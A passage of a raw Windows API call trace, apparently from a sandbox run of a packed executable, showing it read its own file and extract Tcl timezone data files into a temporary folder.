"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\santiago"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.557] GetFileType (hFile=0x10c) returned 0x1 [0039.557] htonl (hostlong=0x4e220000) returned 0x224e [0039.557] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.558] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x24e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x24e, lpOverlapped=0x0) returned 1 [0039.558] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.558] CloseHandle (hObject=0x10c) returned 1 [0039.559] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.560] htonl (hostlong=0x30000000) returned 0x30 [0039.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.560] GetFileType (hFile=0x10c) returned 0x1 [0039.560] htonl (hostlong=0xd345a00) returned 0x5a340d [0039.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ee40d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.560] htonl (hostlong=0x2010000) returned 0x102 [0039.560] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x102) returned 0x550600 [0039.560] htonl (hostlong=0x2010000) returned 0x102 [0039.560] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.561] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.561] htonl (hostlong=0x4e020000) returned 0x24e [0039.561] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24e) returned 0x550710 [0039.561] htonl (hostlong=0x2010000) returned 0x102 [0039.561] htonl (hostlong=0x4e020000) returned 0x24e [0039.561] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.561] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.561] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.561] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.561] CloseHandle (hObject=0x10c) returned 1 [0039.561] GetLastError () returned 0x0 [0039.561] SetLastError (dwErrCode=0x0) [0039.562] GetLastError () returned 0x0 [0039.562] SetLastError (dwErrCode=0x0) [0039.562] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.562] GetFileType (hFile=0x10c) returned 0x1 [0039.562] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.562] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.562] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.562] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.562] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.562] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.562] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.562] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.562] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.562] CloseHandle (hObject=0x10c) returned 1 [0039.562] GetLastError () returned 0x0 [0039.562] SetLastError (dwErrCode=0x0) [0039.562] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.563] GetFileType (hFile=0x10c) returned 0x1 [0039.563] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.563] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.563] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.563] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.563] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.563] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.564] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.564] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.564] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.564] CloseHandle (hObject=0x10c) returned 1 [0039.564] GetLastError () returned 0x0 [0039.565] SetLastError (dwErrCode=0x0) [0039.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.565] GetFileType (hFile=0x10c) returned 0x1 [0039.565] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.565] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.565] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.565] CloseHandle (hObject=0x10c) returned 1 [0039.565] GetLastError () returned 0x0 [0039.565] SetLastError (dwErrCode=0x0) [0039.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santo_Domingo") returned 78 [0039.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santo_Domingo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\santo_domingo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.565] GetLastError () returned 0x2 [0039.565] SetLastError (dwErrCode=0x2) [0039.566] GetLastError () returned 0x2 [0039.566] SetLastError (dwErrCode=0x2) [0039.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santo_Domingo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santo_Domingo", lpFilePart=0x0) returned 0x4d [0039.566] GetLastError () returned 0x2 [0039.566] SetLastError (dwErrCode=0x2) [0039.566] GetLastError () returned 0x2 [0039.566] SetLastError (dwErrCode=0x2) [0039.566] GetLastError () returned 0x2 [0039.566] SetLastError (dwErrCode=0x2) [0039.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santo_Domingo") returned 78 [0039.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santo_Domingo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\santo_domingo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.566] GetFileType (hFile=0x10c) returned 0x1 [0039.566] htonl (hostlong=0x4e020000) returned 0x24e [0039.566] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.566] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x24e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x24e, lpOverlapped=0x0) returned 1 [0039.567] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.567] CloseHandle (hObject=0x10c) returned 1 [0039.568] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550710 | out: hHeap=0x530000) returned 1 [0039.568] htonl (hostlong=0x40000000) returned 0x40 [0039.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.568] GetFileType (hFile=0x10c) returned 0x1 [0039.569] htonl (hostlong=0xf355a00) returned 0x5a350f [0039.569] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ee50f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.569] htonl (hostlong=0xdc050000) returned 0x5dc [0039.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5dc) returned 0x550600 [0039.569] htonl (hostlong=0xdc050000) returned 0x5dc [0039.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.569] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.569] htonl (hostlong=0xfe1d0000) returned 0x1dfe [0039.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1dfe) returned 0x561090 [0039.569] htonl (hostlong=0xdc050000) returned 0x5dc [0039.569] htonl (hostlong=0xfe1d0000) returned 0x1dfe [0039.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e98 [0039.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e98 | out: hHeap=0x530000) returned 1 [0039.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.569] CloseHandle (hObject=0x10c) returned 1 [0039.569] GetLastError () returned 0x0 [0039.569] SetLastError (dwErrCode=0x0) [0039.569] GetLastError () returned 0x0 [0039.569] SetLastError (dwErrCode=0x0) [0039.569] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.569] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.570] GetFileType (hFile=0x10c) returned 0x1 [0039.570] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.570] CloseHandle (hObject=0x10c) returned 1 [0039.570] GetLastError () returned 0x0 [0039.570] SetLastError (dwErrCode=0x0) [0039.570] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.570] GetFileType (hFile=0x10c) returned 0x1 [0039.570] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.571] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.571] CloseHandle (hObject=0x10c) returned 1 [0039.571] GetLastError () returned 0x0 [0039.571] SetLastError (dwErrCode=0x0) [0039.571] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.571] GetFileType (hFile=0x10c) returned 0x1 [0039.571] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.571] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.571] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.571] CloseHandle (hObject=0x10c) returned 1 [0039.571] GetLastError () returned 0x0 [0039.572] SetLastError (dwErrCode=0x0) [0039.572] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sao_Paulo") returned 74 [0039.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sao_Paulo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\sao_paulo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.572] GetLastError () returned 0x2 [0039.572] SetLastError (dwErrCode=0x2) [0039.572] GetLastError () returned 0x2 [0039.572] SetLastError (dwErrCode=0x2) [0039.572] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sao_Paulo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sao_Paulo", lpFilePart=0x0) returned 0x49 [0039.572] GetLastError () returned 0x2 [0039.572] SetLastError (dwErrCode=0x2) [0039.572] GetLastError () returned 0x2 [0039.572] SetLastError (dwErrCode=0x2) [0039.572] GetLastError () returned 0x2 [0039.572] SetLastError (dwErrCode=0x2) [0039.572] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sao_Paulo") returned 74 [0039.572] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sao_Paulo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\sao_paulo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.572] GetFileType (hFile=0x10c) returned 0x1 [0039.572] htonl (hostlong=0xfe1d0000) returned 0x1dfe [0039.572] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.574] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.574] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xdfe, lpOverlapped=0x0) returned 1 [0039.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.574] CloseHandle 